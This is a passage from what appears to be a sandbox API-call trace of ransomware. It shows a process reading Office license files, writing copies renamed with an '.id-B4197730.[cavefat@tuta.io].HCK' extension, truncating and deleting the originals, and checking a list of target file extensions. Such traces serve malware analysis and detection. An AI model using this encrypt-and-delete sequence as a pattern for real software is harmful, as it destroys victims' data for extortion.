(hObject=0x4d4) returned 1 [0236.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString=".doc") returned 4 [0236.521] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".docx") returned 5 [0236.521] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.521] lstrlenW (lpString=".pdf") returned 4 [0236.521] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".xls") returned 4 [0236.521] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".xlsx") returned 5 [0236.521] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.521] lstrlenW (lpString=".ppt") returned 4 [0236.521] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString=".zip") returned 4 [0236.521] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".rar") returned 4 [0236.521] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".bz2") returned 4 [0236.521] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".7z") returned 3 [0236.521] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString=".dbf") returned 4 [0236.521] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString=".1cd") returned 4 [0236.521] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString=".jpg") returned 4 [0236.521] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.521] lstrlenW (lpString=".doc") returned 4 [0236.521] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.521] lstrlenW (lpString=".docx") returned 5 [0236.521] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.521] lstrlenW (lpString=".pdf") returned 4 [0236.521] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString=".xls") returned 4 [0236.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString=".xlsx") returned 5 [0236.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.522] lstrlenW (lpString=".ppt") returned 4 [0236.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.522] lstrlenW (lpString=".zip") returned 4 [0236.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString=".rar") returned 4 [0236.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString=".bz2") returned 4 [0236.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString=".7z") returned 3 [0236.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.522] lstrlenW (lpString=".dbf") returned 4 [0236.522] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.522] lstrlenW (lpString=".1cd") returned 4 [0236.522] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0236.522] lstrlenW (lpString=".jpg") returned 4 [0236.522] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.522] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.522] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27 [0236.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.525] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3380) returned 1 [0236.525] CloseHandle (hObject=0x454) returned 1 [0236.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0236.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.526] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.526] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.527] GetLastError () returned 0x0 [0236.527] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0xd34, lpOverlapped=0x0) returned 1 [0236.834] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xd40, lpOverlapped=0x0) returned 1 [0236.834] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.834] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10a, lpOverlapped=0x0) returned 1 [0236.834] SetEndOfFile (hFile=0x4ac) returned 1 [0236.835] CloseHandle (hObject=0x4ac) returned 1 [0236.835] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.835] SetEndOfFile (hFile=0x454) returned 1 [0236.837] CloseHandle (hObject=0x454) returned 1 [0236.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0236.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.838] lstrlenW (lpString=".doc") returned 4 [0236.838] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.838] lstrlenW (lpString=".docx") returned 5 [0236.838] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.838] lstrlenW (lpString=".pdf") returned 4 [0236.838] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.838] lstrlenW (lpString=".xls") returned 4 [0236.838] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.838] lstrlenW (lpString=".xlsx") returned 5 [0236.838] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.838] lstrlenW (lpString=".ppt") returned 4 [0236.838] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".zip") returned 4 [0236.839] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".rar") returned 4 [0236.839] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".bz2") returned 4 [0236.839] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".7z") returned 3 [0236.839] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".dbf") returned 4 [0236.839] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".1cd") returned 4 [0236.839] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".jpg") returned 4 [0236.839] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".doc") returned 4 [0236.839] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".docx") returned 5 [0236.839] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.839] lstrlenW (lpString=".pdf") returned 4 [0236.839] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".xls") returned 4 [0236.839] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".xlsx") returned 5 [0236.839] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.839] lstrlenW (lpString=".ppt") returned 4 [0236.839] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".zip") returned 4 [0236.839] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".rar") returned 4 [0236.839] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".bz2") returned 4 [0236.839] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString=".7z") returned 3 [0236.839] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".dbf") returned 4 [0236.839] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.839] lstrlenW (lpString=".1cd") returned 4 [0236.840] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0236.840] lstrlenW (lpString=".jpg") returned 4 [0236.840] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.840] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.840] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0236.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.840] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19927) returned 1 [0236.840] CloseHandle (hObject=0x454) returned 1 [0236.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0236.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.841] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.841] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.842] GetLastError () returned 0x0 [0236.842] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0236.847] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0236.848] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.848] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10e, lpOverlapped=0x0) returned 1 [0236.848] SetEndOfFile (hFile=0x4ac) returned 1 [0236.849] CloseHandle (hObject=0x4ac) returned 1 [0236.849] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.849] SetEndOfFile (hFile=0x454) returned 1 [0236.852] CloseHandle (hObject=0x454) returned 1 [0236.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0236.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.853] lstrlenW (lpString=".doc") returned 4 [0236.853] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.853] lstrlenW (lpString=".docx") returned 5 [0236.853] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.853] lstrlenW (lpString=".pdf") returned 4 [0236.853] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.853] lstrlenW (lpString=".xls") returned 4 [0236.853] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.853] lstrlenW (lpString=".xlsx") returned 5 [0236.853] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.853] lstrlenW (lpString=".ppt") returned 4 [0236.853] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.853] lstrlenW (lpString=".zip") returned 4 [0236.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".rar") returned 4 [0236.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".bz2") returned 4 [0236.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".7z") returned 3 [0236.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".dbf") returned 4 [0236.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".1cd") returned 4 [0236.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".jpg") returned 4 [0236.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".doc") returned 4 [0236.854] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".docx") returned 5 [0236.854] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0236.854] lstrlenW (lpString=".pdf") returned 4 [0236.854] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".xls") returned 4 [0236.854] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".xlsx") returned 5 [0236.854] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0236.854] lstrlenW (lpString=".ppt") returned 4 [0236.854] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".zip") returned 4 [0236.854] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".rar") returned 4 [0236.854] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".bz2") returned 4 [0236.854] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString=".7z") returned 3 [0236.854] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".dbf") returned 4 [0236.854] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".1cd") returned 4 [0236.854] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0236.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0236.854] lstrlenW (lpString=".jpg") returned 4 [0236.854] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0236.855] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0236.855] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23 [0236.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.855] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10627) returned 1 [0236.855] CloseHandle (hObject=0x454) returned 1 [0236.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0236.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0236.856] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.856] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0236.857] GetLastError () returned 0x0 [0236.857] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2983, lpOverlapped=0x0) returned 1 [0236.863] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2990, lpOverlapped=0x0) returned 1 [0236.866] ReadFile (in: hFile=0x454, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0236.866] WriteFile (in: hFile=0x4ac, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x102, lpOverlapped=0x0) returned 1 [0236.866] SetEndOfFile (hFile=0x4ac) returned 1 [0236.866] CloseHandle (hObject=0x4ac) returned 1 [0236.866] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0236.866] SetEndOfFile (hFile=0x454) returned 1 [0236.870] CloseHandle (hObject=0x454) returned 1 